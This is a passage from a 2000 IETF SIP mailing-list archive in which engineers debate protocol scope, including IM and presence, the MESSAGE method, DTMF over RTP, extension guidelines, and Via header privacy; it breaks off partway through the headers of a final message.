Received: from egyptian-gods.MIT.EDU (EGYPTIAN-GODS.MIT.EDU [18.101.0.162]) by lists.bell-labs.com (Postfix) with ESMTP id E0B7044338 for ; Thu, 3 Aug 2000 13:54:49 -0400 (EDT) Received: (from ghudson@localhost) by egyptian-gods.MIT.EDU (8.9.3) id NAA07241; Thu, 3 Aug 2000 13:54:41 -0400 Message-Id: <200008031754.NAA07241@egyptian-gods.MIT.EDU> To: Henry Sinnreich Cc: impp@iastate.edu, SIP reflector Subject: Re: [SIP] a proposal for a way to compromise? (really, not a joke) In-Reply-To: Your message of "Thu, 03 Aug 2000 12:25:44 CDT." Date: Thu, 03 Aug 2000 13:54:41 -0400 From: Greg Hudson Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > From the perspective of a network service provider, it may be > advantageous to have the smallest number of protocols on the network > to deliver services. Each new protocol means extra resources to > develop and maintain OSS, skill sets etc. From this point of view, > having SIP do many things is an advantage IMHO. I hate playing market analyst, but: From the perspective of a network service provider, it may be advantageous to have the smallest number of *implementations* to deliver services. If I need one SIP product from company X which provides IMPP services and another SIP product from company Y which provides multimedia session management services, that will require extra resources. Similarly, if I have a single product which implements both SIP's multimedia session management and some hypothetical separate IMPP protocol, that won't require extra resources. (Well, not any more than a single product which implements both features of SIP.) Don't confuse protocols with implementations. Whether the traffic for applications A and B are framed the same way and/or go over the same port is basically irrelevant to service providers. Also, from the perspective of a network service provider, lumping multiple applications into the same protocol makes it harder to filter the protocols separately. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 14:26:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21469 for ; Thu, 3 Aug 2000 14:26:11 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0E21444343; Thu, 3 Aug 2000 14:25:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 9609144338 for ; Thu, 3 Aug 2000 14:25:34 -0400 (EDT) Received: from dynamicsoft.com (wireless-135-164.ietf.marconi.com [147.73.135.164]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id OAA26179; Thu, 3 Aug 2000 14:20:38 -0400 (EDT) Message-ID: <3989B8B8.A537EA58@dynamicsoft.com> Date: Thu, 03 Aug 2000 14:23:52 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Stan Moyer Cc: "Fox, Mike" , sip@lists.bell-labs.com, dmarples@research.telcordia.com, stsang@research.telcordia.com Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt References: <4.3.1.2.20000803113739.00b45c10@mailee.research.telcordia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Stan Moyer wrote: > > At 02:38 PM 8/2/2000 -0700, Fox, Mike wrote: > >The temptation to extend or use the "message" capability of SIP may become a > >problem for all SIP devices to represent the message to the user. I would > >think it far more compatible to start a SIP session and initiate a RTP audio > >stream to deliver the audio message "FYI the house is too cold, the windows > >are open, and it is snowing inside." when you are contacted via a SIP PSTN > >gateway at your hotel in sunny Jamaica. And to deliver the message as text > >to your pager, if instead you were hiking in the Rockies. > > I agree this is desirable and is easily supported if the device only needs > to support SIP (plus RTP) to send either type of message. If a different > protocol is required to send a text page that is an additional requirement > on the device. While it's not difficult to have a PC (or even a PDA) > support multiple protocols, we're looking at low-cost consumer devices > where very extra bit of RAM is going to increase the cost to the consumer. I think that MESSAGE is definitely not appropriate for what you are trying to do. It is along the same lines of the continued abuse of INFO, whereby totally different semantics are defined through the inclusion of different bodies. MESSAGE means one thing and one thing only - "please render this content for display to someone, and it represents a message which may be responded to and is part of a conversation thread". Any other usage is inappropriate. SIP is primarily appropriate when you wish to be involved in communications with some entity which is moving around; where you have only an abstract identifier that names this object (user@domain), and based on that you need to rapidly contact that object at one of the many places an instance of that object might be available. "involved in communications" might mean initiating a session, asking for notifications about changes in that objects communications states, sending it an instant message. I am yet to be convinced that this application fits into that category. Will my lightbulb be moving around? Will it be reachable at multiple places? Doesn't seem like it. What, for example, is wrong with using http for this? I can have a mini-web server that presents an interface that I can use to control the lightbulb. The same architecture with proxies and authentication and interworking units operates just fine there. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 14:38:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24783 for ; Thu, 3 Aug 2000 14:38:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 001C14434A; Thu, 3 Aug 2000 14:38:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from figbar.sportos.com (figbar.sportos.com [157.22.1.125]) by lists.bell-labs.com (Postfix) with ESMTP id 8E5AF44338 for ; Thu, 3 Aug 2000 14:37:55 -0400 (EDT) Received: from sony-laptop (wireless-134-187.ietf.marconi.com [147.73.134.187]) by figbar.sportos.com (8.8.5/8.6.9) with SMTP id LAA14551; Thu, 3 Aug 2000 11:22:43 -0700 (PDT) Message-Id: <4.1.20000803143010.00b9b630@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 03 Aug 2000 14:32:00 +0200 To: "Rosen, Brian" , "'Rohan Mahy'" , sip@lists.bell-labs.com From: Rohan Mahy Subject: RE: [SIP] DTMF discussion from WG meeting In-Reply-To: <4FBEA8857476D311A03300204840E1CF67867C@whq-msgusr-02.fore. com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 04:33 PM 8/3/00 , Rosen, Brian wrote: >A POTS equipped UA would generate DTMF RTP (and events) to work with >legacy apps and SIP-aware apps. If it was sent DTMF RTP, it would >just ignore it (actually, I have a use for it, but it's all within >the UA) if the POTS equipped UA was plugged into an answering machine, you might want to generate DTMF to it when you get DTMF RTP. thx, -r _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 14:45:32 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27034 for ; Thu, 3 Aug 2000 14:45:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D89004435D; Thu, 3 Aug 2000 14:44:45 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by lists.bell-labs.com (Postfix) with ESMTP id 9F9CF44338 for ; Thu, 3 Aug 2000 14:44:40 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA09801; Thu, 3 Aug 2000 14:44:36 -0400 (EDT) Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA20417; Thu, 3 Aug 2000 14:44:36 -0400 (EDT) Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Thu, 3 Aug 2000 14:44:35 -0400 Message-ID: <4FBEA8857476D311A03300204840E1CF678685@whq-msgusr-02.fore.com> From: "Rosen, Brian" To: "'Rohan Mahy'" , sip@lists.bell-labs.com Subject: RE: [SIP] DTMF discussion from WG meeting Date: Thu, 3 Aug 2000 14:44:33 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Only if the codec didn't pass in band DTMF well and you wanted to use the DTMF codec to deal with that. Of course these are implementation issues, and anyone can choose whether to do so or not. For your purpose, you want UAs to send DTMF RTP. Whether it recieves them or not isn't important to your problem. Brian > -----Original Message----- > From: Rohan Mahy [mailto:rohan@rohan.com] > Sent: Thursday, August 03, 2000 8:32 AM > To: Rosen, Brian; 'Rohan Mahy'; sip@lists.bell-labs.com > Subject: RE: [SIP] DTMF discussion from WG meeting > > > At 04:33 PM 8/3/00 , Rosen, Brian wrote: > >A POTS equipped UA would generate DTMF RTP (and events) to work with > >legacy apps and SIP-aware apps. If it was sent DTMF RTP, it would > >just ignore it (actually, I have a use for it, but it's all within > >the UA) > > if the POTS equipped UA was plugged into an answering > machine, you might > want to generate DTMF to it when you get DTMF RTP. > > thx, > -r > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 14:58:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA00069 for ; Thu, 3 Aug 2000 14:58:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 66DC844360; Thu, 3 Aug 2000 14:57:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from localhost.localdomain (wired-129-166.ietf.marconi.com [147.73.129.166]) by lists.bell-labs.com (Postfix) with ESMTP id 029C044338 for ; Thu, 3 Aug 2000 14:57:50 -0400 (EDT) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.9.3/8.9.3) with ESMTP id OAA02399; Thu, 3 Aug 2000 14:59:11 -0400 Message-ID: <3989C0FF.8E114F2D@ecal.com> Date: Thu, 03 Aug 2000 14:59:11 -0400 From: John Stracke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3 i586) X-Accept-Language: en MIME-Version: 1.0 To: impp@iastate.edu Cc: SIP reflector References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: a proposal for a way to compromise? (really, not a joke) Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Scott Petrack wrote: > So my proposal for compromise is the following: > > use SIP for rendezvous and distributing presence -- find the other > person/people, help decide that the *way* they want to communicate is via > IM, and then HAND OFF to an IM protocol, This makes great sense *if* the IM stuff you want to do is session-oriented. We should remember that IM does not necessarily mean chat; it should be easy to send someone a message without setting up a session. (To use my motivating example: a calendar sending someone an event notification just wants to send the message; it doesn't expect a reply [and can't handle one in any event], so setting up a chat session would not be helpful.) -- /==============================================================\ |John Stracke | http://www.ecal.com |My opinions are my own.| |Chief Scientist |=============================================| |eCal Corp. |Peace, justice, morality, culture, family, | |francis@ecal.com|sport, and the extinction of all other life | | |forms! | \==============================================================/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 15:00:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA00482 for ; Thu, 3 Aug 2000 15:00:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E2F0944364; Thu, 3 Aug 2000 15:00:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 87D5A44363 for ; Thu, 3 Aug 2000 14:59:59 -0400 (EDT) Received: from dynamicsoft.com (wireless-135-164.ietf.marconi.com [147.73.135.164]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id PAA26545; Thu, 3 Aug 2000 15:01:16 -0400 (EDT) Message-ID: <3989C246.2EDD40C9@dynamicsoft.com> Date: Thu, 03 Aug 2000 15:04:38 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Arnoud van Wijk (ETM)" Cc: "'Itamar Gilad'" , "'SIP'" Subject: Re: [SIP] What do we want with SIP? References: <56E7307B0850D411B1480008C75DD5EAB73C1C@enlrynt303.dsn.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I am acutely aware of this problem, as both an active promoter of sip and one of the most vocal opponents against many uses that I consider inappropriate. There is a thin line between reuse of infrastructures and protocols, and abuse of a protocol which only hurts long term interoperability and viability. I have been attempting to capture this balancing act in the "guidelines for authors of sip extensions", which will continue to evolve as our understanding of this subject increases. Check it out at: http://www.ietf.org/internet-drafts/draft-ietf-sip-guidelines-00.txt -Jonathan R. "Arnoud van Wijk (ETM)" wrote: > > Itmar, > > Thank you for your reply. > Your answer did confirm many of my musings and wonderings and eased my worries. > The most important part is indeed that reference to Jonathan R's words: "there will be no version 2.1 of SIP". > I am glad to see that the extensions proposals are seen as a seperate entity. And later, the good ones will deserve an official place next to SIP. > This means that all UAs are required to read the RFC2543 defined headers, and can ignore any other headers? > So in fact it is up to the UA creator to accept the "good" extensions given in the drafts. > It may still be a very good idea to reach some consensus on which extensions are most promising and stimulate their acceptance. (note, it is then only to give developers an idea, not that this is a law on itself.) > > Arnoud > > -----Original Message----- > From: Itamar Gilad [mailto:ItamarG@tlv.radvision.com] > Sent: Thursday, August 03, 2000 2:25 PM > To: 'Arnoud van Wijk (ETM)'; 'SIP' > Subject: RE: [SIP] What do we want with SIP? > > Arnoud, > > I'm allowing myself to try and answer these valid questions although it's > not really _my_ answer I'm giving, but rather a summary of answers I got > from various key people in SIP to which I posed similar questions. I think a > lot of people are wondering about these things so I hope I can save them > some time. If I'm missing a point I'm sure someone will correct me before > long. > > SIP is a signaling protocol where signaling is a shapeless, ever-growing > term that roughly means "establishment-modification-termination of some sort > of interactive real-time session between any two entities". The sessions may > include voice, video, IM, games, a combination of those and much more (no, > telnet is not included). The entities may be software clients for the > above, IP phones, telephony GWs, mobile devices, Softswitches, MCUs, play > stations and what-have-you. Each group brings its own (possibly) unique set > of requirements to the signaling protocol. Throw into this pot also services > (yet another vastly overloaded term) which SIP is supposed to accommodate: > anything from transfer to next-gen > your-refrigerator-is-calling-to-say-you're-out-of-milk. In short signaling > in the context of SIP is a pretty big thing now with lots of different > interest groups and lots of different priorities. The question (and I think > that's basically what you were asking) is how do you accommodate all of this > within one protocol. > > The answer is composed of two words: generality and extensibility. Baseline > SIP (RFC 2543) attempts to be both general and highly extensible. All the > fundamental session management stuff which is applicable to all applications > (establishment, modification, termination, capabilities exchange, > registration etc.) is there in the baseline spec. There's very little > application-specific stuff though. This is intentional. The fundamental > idea is: "if you want something more - extend or, better yet, use an > existing extension". Baseline SIP provides mechanisms to add new methods, > response codes, headers header params and much more and it allows extension > announcement and negotiation so all parties of a call can be sure that a > required extension is supported by all others. You can say extensions are > encouraged in SIP. And there are plenty of extension proposals as anyone > reading this mailing list knows. None of that is supposed to penetrate into > RFC 2543, though. It's supposed to remain pure and backwards compatible for > ever (Jonathan R's words: "there will be no version 2.1 of SIP"). The > extensions will continue to develop and move along the standardization > process as independent entities and eventually (hopefully) the "good" > extensions will be finalized and gain popularity and the "bad" ones will die > out from lack of demand or technological merit. There's not going to be a > planning committee that says "this will become a part of SIP from now on" or > "this is what SIP is about to be used for" because reaching an agreement on > such issues is close to impossible. > > That's my 0.08 Shekel (2 US cent equivalent) :) > > Itamar > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 15:31:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA10235 for ; Thu, 3 Aug 2000 15:31:21 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4F3DA44364; Thu, 3 Aug 2000 15:31:09 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by lists.bell-labs.com (Postfix) with ESMTP id 741F444338 for ; Thu, 3 Aug 2000 15:31:03 -0400 (EDT) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA29759; Thu, 3 Aug 2000 15:30:57 -0400 (EDT) Message-Id: <200008031930.PAA29759@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Henry Sinnreich Cc: Rohan Mahy , Scott Petrack , impp@iastate.edu, SIP reflector , kzm@CISCO.COM Subject: Re: [SIP] a proposal for a way to compromise? (really, not a joke) In-reply-to: Your message of "Thu, 03 Aug 2000 12:25:44 CDT." X-SUBJECT-MSG-FROM: Henry Sinnreich Date: Thu, 03 Aug 2000 15:30:56 -0400 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > From the perspective of a network service provider, it may be > advantageous to have the smallest number of protocols on the > network to deliver services. Each new protocol means extra > resources to develop and maintain OSS, skill sets etc. From this > point of view, having SIP do many things is an advantage IMHO. the complexity is in the number of services, more than the number of protocols. overloading several services on top of a single protocol doesn't solve the problem. it might even make things more confusing. also, if the different uses of SIP don't have the same usage patterns, it doesn't necessarily make sense to overload multiple functions on a SIP server. you want to provision machines differently depending on the usage patterns of the protocols they support. none of the above argues for different presentation layers (though there are other arguments for not reusing this aspect of SIP), but it does argue for not bundling multiple functions within a SIP protocol. Keith _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 16:04:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21126 for ; Thu, 3 Aug 2000 16:04:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3FF994434E; Thu, 3 Aug 2000 16:04:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id F113A44338 for ; Thu, 3 Aug 2000 16:03:58 -0400 (EDT) Received: from cs.columbia.edu (wired-129-215.ietf.marconi.com [147.73.129.215]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id QAA09771; Thu, 3 Aug 2000 16:07:53 -0400 (EDT) Message-ID: <3989D228.410EC75C@cs.columbia.edu> Date: Thu, 03 Aug 2000 16:12:24 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: "Arnoud van Wijk (ETM)" , "'Itamar Gilad'" , "'SIP'" Subject: Re: [SIP] What do we want with SIP? References: <56E7307B0850D411B1480008C75DD5EAB73C1C@enlrynt303.dsn.ericsson.se> <3989C246.2EDD40C9@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit There is also another line. Extensions are potentially bad if they increase the N^2 problem of interoperability for similar devices, and the number of cases (does the other side have feature 1? 1+2? 1 or 3?, etc.) that need to be tested. It is probably less of an issue if the use of SIP is either go or no go. (In that sense, I find the use of SIP for sending control messages less dangerous, since it is unlikely that a phone worries about lightbulb messages or vice versa, so that the these can be implemented without lightbulb implementors having to be VoIP experts, and vice versa.) This is encouraged by clear labeling of methods, message bodies (Content-Type and Content-Disposition), Require and other mechanisms. The worst problem in extensions is, I believe, mutual dependence or deadlock, such as "You can't do X because my completely unrelated application relies on SIP doing Y." Currently, "feature interaction" seems to be a particular problem with the proliferation of SIP-for-VoIP features (COMET, PRACK, 3pcc, session timer, REFER, etc.) rather than simpler "new stand-alone methods that don't interact with anything else". (PRACK and COMET are examples where new methods *can* interact with existing methods and can raise feature interaction issues.) The other complexity concern is N ways of doing very closely related things (DTMF comes to mind for some reason...) Jonathan Rosenberg wrote: > > I am acutely aware of this problem, as both an active promoter of sip > and one of the most vocal opponents against many uses that I consider > inappropriate. > > There is a thin line between reuse of infrastructures and protocols, and > abuse of a protocol which only hurts long term interoperability and > viability. I have been attempting to capture this balancing act in the > "guidelines for authors of sip extensions", which will continue to > evolve as our understanding of this subject increases. > > Check it out at: > http://www.ietf.org/internet-drafts/draft-ietf-sip-guidelines-00.txt > > -Jonathan R. > > "Arnoud van Wijk (ETM)" wrote: > > > > Itmar, > > > > Thank you for your reply. > > Your answer did confirm many of my musings and wonderings and eased my worries. > > The most important part is indeed that reference to Jonathan R's words: "there will be no version 2.1 of SIP". > > I am glad to see that the extensions proposals are seen as a seperate entity. And later, the good ones will deserve an official place next to SIP. > > This means that all UAs are required to read the RFC2543 defined headers, and can ignore any other headers? > > So in fact it is up to the UA creator to accept the "good" extensions given in the drafts. > > It may still be a very good idea to reach some consensus on which extensions are most promising and stimulate their acceptance. (note, it is then only to give developers an idea, not that this is a law on itself.) > > > > Arnoud > > > > -----Original Message----- > > From: Itamar Gilad [mailto:ItamarG@tlv.radvision.com] > > Sent: Thursday, August 03, 2000 2:25 PM > > To: 'Arnoud van Wijk (ETM)'; 'SIP' > > Subject: RE: [SIP] What do we want with SIP? > > > > Arnoud, > > > > I'm allowing myself to try and answer these valid questions although it's > > not really _my_ answer I'm giving, but rather a summary of answers I got > > from various key people in SIP to which I posed similar questions. I think a > > lot of people are wondering about these things so I hope I can save them > > some time. If I'm missing a point I'm sure someone will correct me before > > long. > > > > SIP is a signaling protocol where signaling is a shapeless, ever-growing > > term that roughly means "establishment-modification-termination of some sort > > of interactive real-time session between any two entities". The sessions may > > include voice, video, IM, games, a combination of those and much more (no, > > telnet is not included). The entities may be software clients for the > > above, IP phones, telephony GWs, mobile devices, Softswitches, MCUs, play > > stations and what-have-you. Each group brings its own (possibly) unique set > > of requirements to the signaling protocol. Throw into this pot also services > > (yet another vastly overloaded term) which SIP is supposed to accommodate: > > anything from transfer to next-gen > > your-refrigerator-is-calling-to-say-you're-out-of-milk. In short signaling > > in the context of SIP is a pretty big thing now with lots of different > > interest groups and lots of different priorities. The question (and I think > > that's basically what you were asking) is how do you accommodate all of this > > within one protocol. > > > > The answer is composed of two words: generality and extensibility. Baseline > > SIP (RFC 2543) attempts to be both general and highly extensible. All the > > fundamental session management stuff which is applicable to all applications > > (establishment, modification, termination, capabilities exchange, > > registration etc.) is there in the baseline spec. There's very little > > application-specific stuff though. This is intentional. The fundamental > > idea is: "if you want something more - extend or, better yet, use an > > existing extension". Baseline SIP provides mechanisms to add new methods, > > response codes, headers header params and much more and it allows extension > > announcement and negotiation so all parties of a call can be sure that a > > required extension is supported by all others. You can say extensions are > > encouraged in SIP. And there are plenty of extension proposals as anyone > > reading this mailing list knows. None of that is supposed to penetrate into > > RFC 2543, though. It's supposed to remain pure and backwards compatible for > > ever (Jonathan R's words: "there will be no version 2.1 of SIP"). The > > extensions will continue to develop and move along the standardization > > process as independent entities and eventually (hopefully) the "good" > > extensions will be finalized and gain popularity and the "bad" ones will die > > out from lack of demand or technological merit. There's not going to be a > > planning committee that says "this will become a part of SIP from now on" or > > "this is what SIP is about to be used for" because reaching an agreement on > > such issues is close to impossible. > > > > That's my 0.08 Shekel (2 US cent equivalent) :) > > > > Itamar > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 16:18:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25688 for ; Thu, 3 Aug 2000 16:18:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4C10844367; Thu, 3 Aug 2000 16:17:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mayo.cisco.com (mayo.cisco.com [161.44.3.207]) by lists.bell-labs.com (Postfix) with ESMTP id 1995F44338 for ; Thu, 3 Aug 2000 16:17:10 -0400 (EDT) Received: from cisco.com (mayo.cisco.com [161.44.3.207]) by mayo.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id QAA15235 for ; Thu, 3 Aug 2000 16:16:22 -0400 (EDT) Message-ID: <3989D316.58F8DD01@cisco.com> Date: Thu, 03 Aug 2000 16:16:22 -0400 From: Nilesh Trivedi Organization: Packet Development Unit X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Via header encryption and "received" parameter. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hello all, Good afternoon. Has there been any thoughts on what should be done in case of "Hide" header is present and the previous hop Via has been received from a different network address, in case of which the proxy will append a 'received' parameter to the topmost received Via. Hiding is performed only on the "host" and "port" but the received parameter is still forwarded un-encrypted, so we are exposing route information here. Thanks for your time and inputs. Have a very good day!! Regards, Nilesh Trivedi. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 16:43:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04675 for ; Thu, 3 Aug 2000 16:43:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E77CF44355; Thu, 3 Aug 2000 16:42:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7510144338 for ; Thu, 3 Aug 2000 16:42:35 -0400 (EDT) Received: from stsang4 (tsang-pc [192.4.8.80]) by thumper.research.telcordia.com (8.10.1/8.10.1) with SMTP id e73KgKR00895; Thu, 3 Aug 2000 16:42:21 -0400 (EDT) From: "Simon Tsang (Telcordia Technologies)" To: "Jonathan Rosenberg" , "Stan Moyer" Cc: "Fox, Mike" , , 